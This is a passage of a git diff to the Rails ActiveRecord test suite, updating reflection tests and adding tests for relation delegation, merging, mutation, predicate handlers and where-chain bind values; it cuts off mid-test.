require 'models/edge'
+require 'models/hotel'
+require 'models/chef'
+require 'models/department'
+require 'models/cake_designer'
+require 'models/drink_designer'
class ReflectionTest < ActiveRecord::TestCase
include ActiveRecord::Reflection
@@ -35,30 +40,30 @@ class ReflectionTest < ActiveRecord::TestCase
def test_read_attribute_names
assert_equal(
- %w( id title author_name author_email_address bonus_time written_on last_read content important group approved replies_count parent_id parent_title type created_at updated_at ).sort,
+ %w( id title author_name author_email_address bonus_time written_on last_read content important group approved replies_count unique_replies_count parent_id parent_title type created_at updated_at ).sort,
@first.attribute_names.sort
)
end
def test_columns
- assert_equal 17, Topic.columns.length
+ assert_equal 18, Topic.columns.length
end
def test_columns_are_returned_in_the_order_they_were_declared
- column_names = Topic.columns.map { |column| column.name }
- assert_equal %w(id title author_name author_email_address written_on bonus_time last_read content important approved replies_count parent_id parent_title type group created_at updated_at), column_names
+ column_names = Topic.columns.map(&:name)
+ assert_equal %w(id title author_name author_email_address written_on bonus_time last_read content important approved replies_count unique_replies_count parent_id parent_title type group created_at updated_at), column_names
end
def test_content_columns
content_columns = Topic.content_columns
- content_column_names = content_columns.map {|column| column.name}
+ content_column_names = content_columns.map(&:name)
assert_equal 13, content_columns.length
assert_equal %w(title author_name author_email_address written_on bonus_time last_read content important group approved parent_title created_at updated_at).sort, content_column_names.sort
end
def test_column_string_type_and_limit
assert_equal :string, @first.column_for_attribute("title").type
- assert_equal 255, @first.column_for_attribute("title").limit
+ assert_equal 250, @first.column_for_attribute("title").limit
end
def test_column_null_not_null
@@ -75,24 +80,38 @@ class ReflectionTest < ActiveRecord::TestCase
assert_equal :integer, @first.column_for_attribute("id").type
end
+ def test_non_existent_columns_return_nil
+ assert_deprecated do
+ assert_nil @first.column_for_attribute("attribute_that_doesnt_exist")
+ end
+ end
+
def test_reflection_klass_for_nested_class_name
- reflection = MacroReflection.new(:company, nil, nil, { :class_name => 'MyApplication::Business::Company' }, ActiveRecord::Base)
+ reflection = ActiveRecord::Reflection.create(:has_many, nil, nil, { :class_name => 'MyApplication::Business::Company' }, ActiveRecord::Base)
assert_nothing_raised do
assert_equal MyApplication::Business::Company, reflection.klass
end
end
+ def test_irregular_reflection_class_name
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.irregular 'plural_irregular', 'plurales_irregulares'
+ end
+ reflection = ActiveRecord::Reflection.create(:has_many, 'plurales_irregulares', nil, {}, ActiveRecord::Base)
+ assert_equal 'PluralIrregular', reflection.class_name
+ end
+
def test_aggregation_reflection
reflection_for_address = AggregateReflection.new(
- :composed_of, :address, nil, { :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ] }, Customer
+ :address, nil, { :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ] }, Customer
)
reflection_for_balance = AggregateReflection.new(
- :composed_of, :balance, nil, { :class_name => "Money", :mapping => %w(balance amount) }, Customer
+ :balance, nil, { :class_name => "Money", :mapping => %w(balance amount) }, Customer
)
reflection_for_gps_location = AggregateReflection.new(
- :composed_of, :gps_location, nil, { }, Customer
+ :gps_location, nil, { }, Customer
)
assert Customer.reflect_on_all_aggregations.include?(reflection_for_gps_location)
@@ -116,7 +135,7 @@ class ReflectionTest < ActiveRecord::TestCase
end
def test_has_many_reflection
- reflection_for_clients = AssociationReflection.new(:has_many, :clients, nil, { :order => "id", :dependent => :destroy }, Firm)
+ reflection_for_clients = ActiveRecord::Reflection.create(:has_many, :clients, nil, { :order => "id", :dependent => :destroy }, Firm)
assert_equal reflection_for_clients, Firm.reflect_on_association(:clients)
@@ -128,7 +147,7 @@ class ReflectionTest < ActiveRecord::TestCase
end
def test_has_one_reflection
- reflection_for_account = AssociationReflection.new(:has_one, :account, nil, { :foreign_key => "firm_id", :dependent => :destroy }, Firm)
+ reflection_for_account = ActiveRecord::Reflection.create(:has_one, :account, nil, { :foreign_key => "firm_id", :dependent => :destroy }, Firm)
assert_equal reflection_for_account, Firm.reflect_on_association(:account)
assert_equal Account, Firm.reflect_on_association(:account).klass
@@ -186,16 +205,17 @@ class ReflectionTest < ActiveRecord::TestCase
ActiveRecord::Base.store_full_sti_class = true
end
- def test_reflection_of_all_associations
- # FIXME these assertions bust a lot
- assert_equal 39, Firm.reflect_on_all_associations.size
- assert_equal 29, Firm.reflect_on_all_associations(:has_many).size
- assert_equal 10, Firm.reflect_on_all_associations(:has_one).size
- assert_equal 0, Firm.reflect_on_all_associations(:belongs_to).size
+ def test_reflection_should_not_raise_error_when_compared_to_other_object
+ assert_not_equal Object.new, Firm._reflections['clients']
end
- def test_reflection_should_not_raise_error_when_compared_to_other_object
- assert_nothing_raised { Firm.reflections[:clients] == Object.new }
+ def test_reflections_should_return_keys_as_strings
+ assert Category.reflections.keys.all? { |key| key.is_a? String }, "Model.reflections is expected to return string for keys"
+ end
+
+ def test_has_and_belongs_to_many_reflection
+ assert_equal :has_and_belongs_to_many, Category.reflections['posts'].macro
+ assert_equal :posts, Category.reflect_on_all_associations(:has_and_belongs_to_many).first.name
end
def test_has_many_through_reflection
@@ -235,6 +255,17 @@ class ReflectionTest < ActiveRecord::TestCase
assert_equal expected, actual
end
+ def test_scope_chain_does_not_interfere_with_hmt_with_polymorphic_case
+ @hotel = Hotel.create!
+ @department = @hotel.departments.create!
+ @department.chefs.create!(employable: CakeDesigner.create!)
+ @department.chefs.create!(employable: DrinkDesigner.create!)
+
+ assert_equal 1, @hotel.cake_designers.size
+ assert_equal 1, @hotel.drink_designers.size
+ assert_equal 2, @hotel.chefs.size
+ end
+
def test_nested?
assert !Author.reflect_on_association(:comments).nested?
assert Author.reflect_on_association(:tags).nested?
@@ -257,11 +288,12 @@ class ReflectionTest < ActiveRecord::TestCase
end
def test_association_primary_key_raises_when_missing_primary_key
- reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :edge, nil, {}, Author)
+ reflection = ActiveRecord::Reflection.create(:has_many, :edge, nil, {}, Author)
assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.association_primary_key }
- through = ActiveRecord::Reflection::ThroughReflection.new(:fuu, :edge, nil, {}, Author)
- through.stubs(:source_reflection).returns(stub_everything(:options => {}, :class_name => 'Edge'))
+ through = Class.new(ActiveRecord::Reflection::ThroughReflection) {
+ define_method(:source_reflection) { reflection }
+ }.new(reflection)
assert_raises(ActiveRecord::UnknownPrimaryKey) { through.association_primary_key }
end
@@ -271,7 +303,7 @@ class ReflectionTest < ActiveRecord::TestCase
end
def test_active_record_primary_key_raises_when_missing_primary_key
- reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :author, nil, {}, Edge)
+ reflection = ActiveRecord::Reflection.create(:has_many, :author, nil, {}, Edge)
assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.active_record_primary_key }
end
@@ -289,32 +321,28 @@ class ReflectionTest < ActiveRecord::TestCase
end
def test_default_association_validation
- assert AssociationReflection.new(:has_many, :clients, nil, {}, Firm).validate?
+ assert ActiveRecord::Reflection.create(:has_many, :clients, nil, {}, Firm).validate?
- assert !AssociationReflection.new(:has_one, :client, nil, {}, Firm).validate?
- assert !AssociationReflection.new(:belongs_to, :client, nil, {}, Firm).validate?
- assert !AssociationReflection.new(:has_and_belongs_to_many, :clients, nil, {}, Firm).validate?
+ assert !ActiveRecord::Reflection.create(:has_one, :client, nil, {}, Firm).validate?
+ assert !ActiveRecord::Reflection.create(:belongs_to, :client, nil, {}, Firm).validate?
end
def test_always_validate_association_if_explicit
- assert AssociationReflection.new(:has_one, :client, nil, { :validate => true }, Firm).validate?
- assert AssociationReflection.new(:belongs_to, :client, nil, { :validate => true }, Firm).validate?
- assert AssociationReflection.new(:has_many, :clients, nil, { :validate => true }, Firm).validate?
- assert AssociationReflection.new(:has_and_belongs_to_many, :clients, nil, { :validate => true }, Firm).validate?
+ assert ActiveRecord::Reflection.create(:has_one, :client, nil, { :validate => true }, Firm).validate?
+ assert ActiveRecord::Reflection.create(:belongs_to, :client, nil, { :validate => true }, Firm).validate?
+ assert ActiveRecord::Reflection.create(:has_many, :clients, nil, { :validate => true }, Firm).validate?
end
def test_validate_association_if_autosave
- assert AssociationReflection.new(:has_one, :client, nil, { :autosave => true }, Firm).validate?
- assert AssociationReflection.new(:belongs_to, :client, nil, { :autosave => true }, Firm).validate?
- assert AssociationReflection.new(:has_many, :clients, nil, { :autosave => true }, Firm).validate?
- assert AssociationReflection.new(:has_and_belongs_to_many, :clients, nil, { :autosave => true }, Firm).validate?
+ assert ActiveRecord::Reflection.create(:has_one, :client, nil, { :autosave => true }, Firm).validate?
+ assert ActiveRecord::Reflection.create(:belongs_to, :client, nil, { :autosave => true }, Firm).validate?
+ assert ActiveRecord::Reflection.create(:has_many, :clients, nil, { :autosave => true }, Firm).validate?
end
def test_never_validate_association_if_explicit
- assert !AssociationReflection.new(:has_one, :client, nil, { :autosave => true, :validate => false }, Firm).validate?
- assert !AssociationReflection.new(:belongs_to, :client, nil, { :autosave => true, :validate => false }, Firm).validate?
- assert !AssociationReflection.new(:has_many, :clients, nil, { :autosave => true, :validate => false }, Firm).validate?
- assert !AssociationReflection.new(:has_and_belongs_to_many, :clients, nil, { :autosave => true, :validate => false }, Firm).validate?
+ assert !ActiveRecord::Reflection.create(:has_one, :client, nil, { :autosave => true, :validate => false }, Firm).validate?
+ assert !ActiveRecord::Reflection.create(:belongs_to, :client, nil, { :autosave => true, :validate => false }, Firm).validate?
+ assert !ActiveRecord::Reflection.create(:has_many, :clients, nil, { :autosave => true, :validate => false }, Firm).validate?
end
def test_foreign_key
@@ -336,11 +364,11 @@ class ReflectionTest < ActiveRecord::TestCase
category = Struct.new(:table_name, :pluralize_table_names).new('categories', true)
product = Struct.new(:table_name, :pluralize_table_names).new('products', true)
- reflection = AssociationReflection.new(:has_and_belongs_to_many, :categories, nil, {}, product)
+ reflection = ActiveRecord::Reflection.create(:has_many, :categories, nil, {}, product)
reflection.stubs(:klass).returns(category)
assert_equal 'categories_products', reflection.join_table
- reflection = AssociationReflection.new(:has_and_belongs_to_many, :products, nil, {}, category)
+ reflection = ActiveRecord::Reflection.create(:has_many, :products, nil, {}, category)
reflection.stubs(:klass).returns(product)
assert_equal 'categories_products', reflection.join_table
end
@@ -349,11 +377,11 @@ class ReflectionTest < ActiveRecord::TestCase
category = Struct.new(:table_name, :pluralize_table_names).new('catalog_categories', true)
product = Struct.new(:table_name, :pluralize_table_names).new('catalog_products', true)
- reflection = AssociationReflection.new(:has_and_belongs_to_many, :categories, nil, {}, product)
+ reflection = ActiveRecord::Reflection.create(:has_many, :categories, nil, {}, product)
reflection.stubs(:klass).returns(category)
assert_equal 'catalog_categories_products', reflection.join_table
- reflection = AssociationReflection.new(:has_and_belongs_to_many, :products, nil, {}, category)
+ reflection = ActiveRecord::Reflection.create(:has_many, :products, nil, {}, category)
reflection.stubs(:klass).returns(product)
assert_equal 'catalog_categories_products', reflection.join_table
end
@@ -362,11 +390,11 @@ class ReflectionTest < ActiveRecord::TestCase
category = Struct.new(:table_name, :pluralize_table_names).new('catalog_categories', true)
page = Struct.new(:table_name, :pluralize_table_names).new('content_pages', true)
- reflection = AssociationReflection.new(:has_and_belongs_to_many, :categories, nil, {}, page)
+ reflection = ActiveRecord::Reflection.create(:has_many, :categories, nil, {}, page)
reflection.stubs(:klass).returns(category)
assert_equal 'catalog_categories_content_pages', reflection.join_table
- reflection = AssociationReflection.new(:has_and_belongs_to_many, :pages, nil, {}, category)
+ reflection = ActiveRecord::Reflection.create(:has_many, :pages, nil, {}, category)
reflection.stubs(:klass).returns(page)
assert_equal 'catalog_categories_content_pages', reflection.join_table
end
@@ -375,15 +403,47 @@ class ReflectionTest < ActiveRecord::TestCase
category = Struct.new(:table_name, :pluralize_table_names).new('categories', true)
product = Struct.new(:table_name, :pluralize_table_names).new('products', true)
- reflection = AssociationReflection.new(:has_and_belongs_to_many, :categories, nil, { :join_table => 'product_categories' }, product)
+ reflection = ActiveRecord::Reflection.create(:has_many, :categories, nil, { :join_table => 'product_categories' }, product)
reflection.stubs(:klass).returns(category)
assert_equal 'product_categories', reflection.join_table
- reflection = AssociationReflection.new(:has_and_belongs_to_many, :products, nil, { :join_table => 'product_categories' }, category)
+ reflection = ActiveRecord::Reflection.create(:has_many, :products, nil, { :join_table => 'product_categories' }, category)
reflection.stubs(:klass).returns(product)
assert_equal 'product_categories', reflection.join_table
end
+ def test_includes_accepts_symbols
+ hotel = Hotel.create!
+ department = hotel.departments.create!
+ department.chefs.create!
+
+ assert_nothing_raised do
+ assert_equal department.chefs, Hotel.includes([departments: :chefs]).first.chefs
+ end
+ end
+
+ def test_includes_accepts_strings
+ hotel = Hotel.create!
+ department = hotel.departments.create!
+ department.chefs.create!
+
+ assert_nothing_raised do
+ assert_equal department.chefs, Hotel.includes(['departments' => 'chefs']).first.chefs
+ end
+ end
+
+ def test_reflect_on_association_accepts_symbols
+ assert_nothing_raised do
+ assert_equal Hotel.reflect_on_association(:departments).name, :departments
+ end
+ end
+
+ def test_reflect_on_association_accepts_strings
+ assert_nothing_raised do
+ assert_equal Hotel.reflect_on_association("departments").name, :departments
+ end
+ end
+
private
def assert_reflection(klass, association, options)
assert reflection = klass.reflect_on_association(association)
diff --git a/activerecord/test/cases/relation/delegation_test.rb b/activerecord/test/cases/relation/delegation_test.rb
new file mode 100644
index 0000000000..29c9d0e2af
--- /dev/null
+++ b/activerecord/test/cases/relation/delegation_test.rb
@@ -0,0 +1,68 @@
+require 'cases/helper'
+require 'models/post'
+require 'models/comment'
+
+module ActiveRecord
+ class DelegationTest < ActiveRecord::TestCase
+ fixtures :posts
+
+ def call_method(target, method)
+ method_arity = target.to_a.method(method).arity
+
+ if method_arity.zero?
+ target.public_send(method)
+ elsif method_arity < 0
+ if method == :shuffle!
+ target.public_send(method)
+ else
+ target.public_send(method, 1)
+ end
+ elsif method_arity == 1
+ target.public_send(method, 1)
+ else
+ raise NotImplementedError
+ end
+ end
+ end
+
+ module DelegationWhitelistBlacklistTests
+ ARRAY_DELEGATES = [
+ :+, :-, :|, :&, :[],
+ :all?, :collect, :detect, :each, :each_cons, :each_with_index,
+ :exclude?, :find_all, :flat_map, :group_by, :include?, :length,
+ :map, :none?, :one?, :partition, :reject, :reverse,
+ :sample, :second, :sort, :sort_by, :third,
+ :to_ary, :to_set, :to_xml, :to_yaml, :join
+ ]
+
+ ARRAY_DELEGATES.each do |method|
+ define_method "test_delegates_#{method}_to_Array" do
+ assert_respond_to target, method
+ end
+ end
+
+ ActiveRecord::Delegation::BLACKLISTED_ARRAY_METHODS.each do |method|
+ define_method "test_#{method}_is_not_delegated_to_Array" do
+ assert_raises(NoMethodError) { call_method(target, method) }
+ end
+ end
+ end
+
+ class DelegationAssociationTest < DelegationTest
+ include DelegationWhitelistBlacklistTests
+
+ def target
+ Post.first.comments
+ end
+ end
+
+ class DelegationRelationTest < DelegationTest
+ include DelegationWhitelistBlacklistTests
+
+ fixtures :comments
+
+ def target
+ Comment.all
+ end
+ end
+end
diff --git a/activerecord/test/cases/relation/merging_test.rb b/activerecord/test/cases/relation/merging_test.rb
new file mode 100644
index 0000000000..eb76ef6328
--- /dev/null
+++ b/activerecord/test/cases/relation/merging_test.rb
@@ -0,0 +1,161 @@
+require 'cases/helper'
+require 'models/author'
+require 'models/comment'
+require 'models/developer'
+require 'models/computer'
+require 'models/post'
+require 'models/project'
+require 'models/rating'
+
+class RelationMergingTest < ActiveRecord::TestCase
+ fixtures :developers, :comments, :authors, :posts
+
+ def test_relation_merging
+ devs = Developer.where("salary >= 80000").merge(Developer.limit(2)).merge(Developer.order('id ASC').where("id < 3"))
+ assert_equal [developers(:david), developers(:jamis)], devs.to_a
+
+ dev_with_count = Developer.limit(1).merge(Developer.order('id DESC')).merge(Developer.select('developers.*'))
+ assert_equal [developers(:poor_jamis)], dev_with_count.to_a
+ end
+
+ def test_relation_to_sql
+ post = Post.first
+ sql = post.comments.to_sql
+ assert_match(/.?post_id.? = #{post.id}\Z/i, sql)
+ end
+
+ def test_relation_merging_with_arel_equalities_keeps_last_equality
+ devs = Developer.where(Developer.arel_table[:salary].eq(80000)).merge(
+ Developer.where(Developer.arel_table[:salary].eq(9000))
+ )
+ assert_equal [developers(:poor_jamis)], devs.to_a
+ end
+
+ def test_relation_merging_with_arel_equalities_keeps_last_equality_with_non_attribute_left_hand
+ salary_attr = Developer.arel_table[:salary]
+ devs = Developer.where(
+ Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(80000)
+ ).merge(
+ Developer.where(
+ Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(9000)
+ )
+ )
+ assert_equal [developers(:poor_jamis)], devs.to_a
+ end
+
+ def test_relation_merging_with_eager_load
+ relations = []
+ relations << Post.order('comments.id DESC').merge(Post.eager_load(:last_comment)).merge(Post.all)
+ relations << Post.eager_load(:last_comment).merge(Post.order('comments.id DESC')).merge(Post.all)
+
+ relations.each do |posts|
+ post = posts.find { |p| p.id == 1 }
+ assert_equal Post.find(1).last_comment, post.last_comment
+ end
+ end
+
+ def test_relation_merging_with_locks
+ devs = Developer.lock.where("salary >= 80000").order("id DESC").merge(Developer.limit(2))
+ assert devs.locked.present?
+ end
+
+ def test_relation_merging_with_preload
+ [Post.all.merge(Post.preload(:author)), Post.preload(:author).merge(Post.all)].each do |posts|
+ assert_queries(2) { assert posts.first.author }
+ end
+ end
+
+ def test_relation_merging_with_joins
+ comments = Comment.joins(:post).where(:body => 'Thank you for the welcome').merge(Post.where(:body => 'Such a lovely day'))
+ assert_equal 1, comments.count
+ end
+
+ def test_relation_merging_with_association
+ assert_queries(2) do # one for loading post, and another one merged query
+ post = Post.where(:body => 'Such a lovely day').first
+ comments = Comment.where(:body => 'Thank you for the welcome').merge(post.comments)
+ assert_equal 1, comments.count
+ end
+ end
+
+ test "merge collapses wheres from the LHS only" do
+ left = Post.where(title: "omg").where(comments_count: 1)
+ right = Post.where(title: "wtf").where(title: "bbq")
+
+ expected = [left.bind_values[1]] + right.bind_values
+ merged = left.merge(right)
+
+ assert_equal expected, merged.bind_values
+ assert !merged.to_sql.include?("omg")
+ assert merged.to_sql.include?("wtf")
+ assert merged.to_sql.include?("bbq")
+ end
+
+ def test_merging_keeps_lhs_bind_parameters
+ column = Post.columns_hash['id']
+ binds = [[column, 20]]
+
+ right = Post.where(id: 20)
+ left = Post.where(id: 10)
+
+ merged = left.merge(right)
+ assert_equal binds, merged.bind_values
+ end
+
+ def test_merging_reorders_bind_params
+ post = Post.first
+ right = Post.where(id: 1)
+ left = Post.where(title: post.title)
+
+ merged = left.merge(right)
+ assert_equal post, merged.first
+ end
+
+ def test_merging_compares_symbols_and_strings_as_equal
+ post = PostThatLoadsCommentsInAnAfterSaveHook.create!(title: "First Post", body: "Blah blah blah.")
+ assert_equal "First comment!", post.comments.where(body: "First comment!").first_or_create.body
+ end
+end
+
+class MergingDifferentRelationsTest < ActiveRecord::TestCase
+ fixtures :posts, :authors, :developers
+
+ test "merging where relations" do
+ hello_by_bob = Post.where(body: "hello").joins(:author).
+ merge(Author.where(name: "Bob")).order("posts.id").pluck("posts.id")
+
+ assert_equal [posts(:misc_by_bob).id,
+ posts(:other_by_bob).id], hello_by_bob
+ end
+
+ test "merging order relations" do
+ posts_by_author_name = Post.limit(3).joins(:author).
+ merge(Author.order(:name)).pluck("authors.name")
+
+ assert_equal ["Bob", "Bob", "David"], posts_by_author_name
+
+ posts_by_author_name = Post.limit(3).joins(:author).
+ merge(Author.order("name")).pluck("authors.name")
+
+ assert_equal ["Bob", "Bob", "David"], posts_by_author_name
+ end
+
+ test "merging order relations (using a hash argument)" do
+ posts_by_author_name = Post.limit(4).joins(:author).
+ merge(Author.order(name: :desc)).pluck("authors.name")
+
+ assert_equal ["Mary", "Mary", "Mary", "David"], posts_by_author_name
+ end
+
+ test "relation merging (using a proc argument)" do
+ dev = Developer.where(name: "Jamis").first
+
+ comment_1 = dev.comments.create!(body: "I'm Jamis", post: Post.first)
+ rating_1 = comment_1.ratings.create!
+
+ comment_2 = dev.comments.create!(body: "I'm John", post: Post.first)
+ comment_2.ratings.create!
+
+ assert_equal dev.ratings, [rating_1]
+ end
+end
diff --git a/activerecord/test/cases/relation/mutation_test.rb b/activerecord/test/cases/relation/mutation_test.rb
new file mode 100644
index 0000000000..4c94c2fd0d
--- /dev/null
+++ b/activerecord/test/cases/relation/mutation_test.rb
@@ -0,0 +1,165 @@
+require 'cases/helper'
+require 'models/post'
+
+module ActiveRecord
+ class RelationMutationTest < ActiveSupport::TestCase
+ class FakeKlass < Struct.new(:table_name, :name)
+ extend ActiveRecord::Delegation::DelegateCache
+ inherited self
+
+ def connection
+ Post.connection
+ end
+
+ def relation_delegate_class(klass)
+ self.class.relation_delegate_class(klass)
+ end
+
+ def attribute_alias?(name)
+ false
+ end
+
+ def sanitize_sql(sql)
+ sql
+ end
+ end
+
+ def relation
+ @relation ||= Relation.new FakeKlass.new('posts'), Post.arel_table
+ end
+
+ (Relation::MULTI_VALUE_METHODS - [:references, :extending, :order, :unscope, :select]).each do |method|
+ test "##{method}!" do
+ assert relation.public_send("#{method}!", :foo).equal?(relation)
+ assert_equal [:foo], relation.public_send("#{method}_values")
+ end
+ end
+
+ test "#_select!" do
+ assert relation.public_send("_select!", :foo).equal?(relation)
+ assert_equal [:foo], relation.public_send("select_values")
+ end
+
+ test '#order!' do
+ assert relation.order!('name ASC').equal?(relation)
+ assert_equal ['name ASC'], relation.order_values
+ end
+
+ test '#order! with symbol prepends the table name' do
+ assert relation.order!(:name).equal?(relation)
+ node = relation.order_values.first
+ assert node.ascending?
+ assert_equal :name, node.expr.name
+ assert_equal "posts", node.expr.relation.name
+ end
+
+ test '#order! on non-string does not attempt regexp match for references' do
+ obj = Object.new
+ obj.expects(:=~).never
+ assert relation.order!(obj)
+ assert_equal [obj], relation.order_values
+ end
+
+ test '#references!' do
+ assert relation.references!(:foo).equal?(relation)
+ assert relation.references_values.include?('foo')
+ end
+
+ test 'extending!' do
+ mod, mod2 = Module.new, Module.new
+
+ assert relation.extending!(mod).equal?(relation)
+ assert_equal [mod], relation.extending_values
+ assert relation.is_a?(mod)
+
+ relation.extending!(mod2)
+ assert_equal [mod, mod2], relation.extending_values
+ end
+
+ test 'extending! with empty args' do
+ relation.extending!
+ assert_equal [], relation.extending_values
+ end
+
+ (Relation::SINGLE_VALUE_METHODS - [:from, :lock, :reordering, :reverse_order, :create_with]).each do |method|
+ test "##{method}!" do
+ assert relation.public_send("#{method}!", :foo).equal?(relation)
+ assert_equal :foo, relation.public_send("#{method}_value")
+ end
+ end
+
+ test '#from!' do
+ assert relation.from!('foo').equal?(relation)
+ assert_equal ['foo', nil], relation.from_value
+ end
+
+ test '#lock!' do
+ assert relation.lock!('foo').equal?(relation)
+ assert_equal 'foo', relation.lock_value
+ end
+
+ test '#reorder!' do
+ relation = self.relation.order('foo')
+
+ assert relation.reorder!('bar').equal?(relation)
+ assert_equal ['bar'], relation.order_values
+ assert relation.reordering_value
+ end
+
+ test '#reorder! with symbol prepends the table name' do
+ assert relation.reorder!(:name).equal?(relation)
+ node = relation.order_values.first
+
+ assert node.ascending?
+ assert_equal :name, node.expr.name
+ assert_equal "posts", node.expr.relation.name
+ end
+
+ test 'reverse_order!' do
+ relation = Post.order('title ASC, comments_count DESC')
+
+ relation.reverse_order!
+
+ assert_equal 'title DESC', relation.order_values.first
+ assert_equal 'comments_count ASC', relation.order_values.last
+
+
+ relation.reverse_order!
+
+ assert_equal 'title ASC', relation.order_values.first
+ assert_equal 'comments_count DESC', relation.order_values.last
+ end
+
+ test 'create_with!' do
+ assert relation.create_with!(foo: 'bar').equal?(relation)
+ assert_equal({foo: 'bar'}, relation.create_with_value)
+ end
+
+ test 'test_merge!' do
+ assert relation.merge!(where: :foo).equal?(relation)
+ assert_equal [:foo], relation.where_values
+ end
+
+ test 'merge with a proc' do
+ assert_equal [:foo], relation.merge(-> { where(:foo) }).where_values
+ end
+
+ test 'none!' do
+ assert relation.none!.equal?(relation)
+ assert_equal [NullRelation], relation.extending_values
+ assert relation.is_a?(NullRelation)
+ end
+
+ test 'distinct!' do
+ relation.distinct! :foo
+ assert_equal :foo, relation.distinct_value
+ assert_equal :foo, relation.uniq_value # deprecated access
+ end
+
+ test 'uniq! was replaced by distinct!' do
+ relation.uniq! :foo
+ assert_equal :foo, relation.distinct_value
+ assert_equal :foo, relation.uniq_value # deprecated access
+ end
+ end
+end
diff --git a/activerecord/test/cases/relation/predicate_builder_test.rb b/activerecord/test/cases/relation/predicate_builder_test.rb
new file mode 100644
index 0000000000..4057835688
--- /dev/null
+++ b/activerecord/test/cases/relation/predicate_builder_test.rb
@@ -0,0 +1,14 @@
+require "cases/helper"
+require 'models/topic'
+
+module ActiveRecord
+ class PredicateBuilderTest < ActiveRecord::TestCase
+ def test_registering_new_handlers
+ PredicateBuilder.register_handler(Regexp, proc do |column, value|
+ Arel::Nodes::InfixOperation.new('~', column, Arel.sql(value.source))
+ end)
+
+ assert_match %r{["`]topics["`].["`]title["`] ~ rails}i, Topic.where(title: /rails/).to_sql
+ end
+ end
+end
diff --git a/activerecord/test/cases/relation/where_chain_test.rb b/activerecord/test/cases/relation/where_chain_test.rb
index 8ce44636b4..619055f1e7 100644
--- a/activerecord/test/cases/relation/where_chain_test.rb
+++ b/activerecord/test/cases/relation/where_chain_test.rb
@@ -6,26 +6,43 @@ module ActiveRecord
class WhereChainTest < ActiveRecord::TestCase
fixtures :posts
+ def setup
+ super
+ @name = 'title'
+ end
+
def test_not_eq
- expected = Arel::Nodes::NotEqual.new(Post.arel_table[:title], 'hello')
relation = Post.where.not(title: 'hello')
- assert_equal([expected], relation.where_values)
+
+ assert_equal 1, relation.where_values.length
+
+ value = relation.where_values.first
+ bind = relation.bind_values.first
+
+ assert_bound_ast value, Post.arel_table[@name], Arel::Nodes::NotEqual
+ assert_equal 'hello', bind.last
end
def test_not_null
- expected = Arel::Nodes::NotEqual.new(Post.arel_table[:title], nil)
+ expected = Post.arel_table[@name].not_eq(nil)
relation = Post.where.not(title: nil)
assert_equal([expected], relation.where_values)
end
+ def test_not_with_nil
+ assert_raise ArgumentError do
+ Post.where.not(nil)
+ end
+ end
+
def test_not_in
- expected = Arel::Nodes::NotIn.new(Post.arel_table[:title], %w[hello goodbye])
+ expected = Post.arel_table[@name].not_in(%w[hello goodbye])
relation = Post.where.not(title: %w[hello goodbye])
assert_equal([expected], relation.where_values)
end
def test_association_not_eq
- expected = Arel::Nodes::NotEqual.new(Comment.arel_table[:title], 'hello')
+ expected = Comment.arel_table[@name].not_eq('hello')
relation = Post.joins(:comments).where.not(comments: {title: 'hello'})
assert_equal(expected.to_sql, relation.where_values.first.to_sql)
end
@@ -33,21 +50,29 @@ module ActiveRecord
def test_not_eq_with_preceding_where
relation = Post.where(title: 'hello').where.not(title: 'world')
- expected = Arel::Nodes::Equality.new(Post.arel_table[:title], 'hello')
- assert_equal(expected, relation.where_values.first)
+ value = relation.where_values.first
+ bind = relation.bind_values.first
+ assert_bound_ast value, Post.arel_table[@name], Arel::Nodes::Equality
+ assert_equal 'hello', bind.last
- expected = Arel::Nodes::NotEqual.new(Post.arel_table[:title], 'world')
- assert_equal(expected, relation.where_values.last)
+ value = relation.where_values.last
+ bind = relation.bind_values.last
+ assert_bound_ast value, Post.arel_table[@name], Arel::Nodes::NotEqual
+ assert_equal 'world', bind.last
end
def test_not_eq_with_succeeding_where
relation = Post.where.not(title: 'hello').where(title: 'world')
- expected = Arel::Nodes::NotEqual.new(Post.arel_table[:title], 'hello')
- assert_equal(expected, relation.where_values.first)
+ value = relation.where_values.first
+ bind = relation.bind_values.first
+ assert_bound_ast value, Post.arel_table[@name], Arel::Nodes::NotEqual
+ assert_equal 'hello', bind.last
- expected = Arel::Nodes::Equality.new(Post.arel_table[:title], 'world')
- assert_equal(expected, relation.where_values.last)
+ value = relation.where_values.last
+ bind = relation.bind_values.last
+ assert_bound_ast value, Post.arel_table[@name], Arel::Nodes::Equality
+ assert_equal 'world', bind.last
end
def test_not_eq_with_string_parameter
@@ -65,11 +90,92 @@ module ActiveRecord
def test_chaining_multiple
relation = Post.where.not(author_id: [1, 2]).where.not(title: 'ruby on rails')
- expected = Arel::Nodes::NotIn.new(Post.arel_table[:author_id], [1, 2])
+ expected = Post.arel_table['author_id'].not_in([1, 2])
assert_equal(expected, relation.where_values[0])
- expected = Arel::Nodes::NotEqual.new(Post.arel_table[:title], 'ruby on rails')
- assert_equal(expected, relation.where_values[1])
+ value = relation.where_values[1]
+ bind = relation.bind_values.first
+
+ assert_bound_ast value, Post.arel_table[@name], Arel::Nodes::NotEqual
+ assert_equal 'ruby on rails', bind.last
+ end
+
+ def test_rewhere_with_one_condition
+ relation = Post.where(title: 'hello').where(title: 'world').rewhere(title: 'alone')
+
+ assert_equal 1, relation.where_values.size
+ value = relation.where_values.first
+ bind = relation.bind_values.first
+ assert_bound_ast value, Post.arel_table[@name], Arel::Nodes::Equality
+ assert_equal 'alone', bind.last
+ end
+
+ def test_rewhere_with_multiple_overwriting_conditions
+ relation = Post.where(title: 'hello').where(body: 'world').rewhere(title: 'alone', body: 'again')
+
+ assert_equal 2, relation.where_values.size
+
+ value = relation.where_values.first
+ bind = relation.bind_values.first
+ assert_bound_ast value, Post.arel_table['title'], Arel::Nodes::Equality
+ assert_equal 'alone', bind.last
+
+ value = relation.where_values[1]
+ bind = relation.bind_values[1]
+ assert_bound_ast value, Post.arel_table['body'], Arel::Nodes::Equality
+ assert_equal 'again', bind.last
+ end
+
+ def assert_bound_ast value, table, type
+ assert_equal table, value.left
+ assert_kind_of type, value
+ assert_kind_of Arel::Nodes::BindParam, value.right
+ end
+
+ def test_rewhere_with_one_overwriting_condition_and_one_unrelated
